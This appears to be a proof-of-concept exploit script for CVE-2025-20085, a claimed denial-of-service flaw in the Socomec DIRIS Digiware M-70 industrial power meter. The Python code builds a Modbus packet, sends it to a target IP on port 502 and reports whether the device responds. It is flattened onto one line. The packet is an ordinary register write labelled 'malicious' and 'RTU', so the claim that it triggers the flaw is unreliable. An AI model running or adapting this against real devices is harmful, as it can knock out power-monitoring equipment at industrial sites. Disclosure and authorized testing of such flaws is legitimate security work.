CVE-2025-20085

#!/usr/bin/env python3 """ CVE-2025-20085 PoC - Socomec DIRIS Digiware M-70 Modbus RTU DoS Reference: TALOS-2025-2138 Note: This is for educational and authorized testing purposes only """ import socket import struct import sys def create_modbus_rtu_packet(): """Craft a malicious Modbus RTU over TCP packet""" # Modbus Application Protocol Header transaction_id = struct.pack('>H', 0x0001) # Transaction Identifier protocol_id = struct.pack('>H', 0x0000) # Protocol Identifier (Modbus) length = struct.pack('>H', 0x0006) # Length unit_id = struct.pack('B', 0xFF) # Unit Identifier # Modbus Function Code (Write Single Register - commonly exploited) function_code = struct.pack('B', 0x06) reference_number = struct.pack('>H', 0x0000) register_value = struct.pack('>H', 0x0000) return transaction_id + protocol_id + length + unit_id + function_code + reference_number + register_value def exploit(target_ip, target_port=502): """Send exploit packet to target""" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafting malicious Modbus RTU packet...") packet = create_modbus_rtu_packet() try: print(f"[*] Sending exploit packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print(f"[+] Packet sent successfully") print(f"[+] Target may be affected - check device status") sock.close() except socket.timeout: print(f"[-] Connection timeout - target may be vulnerable and not responding") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 exploit(target, port)

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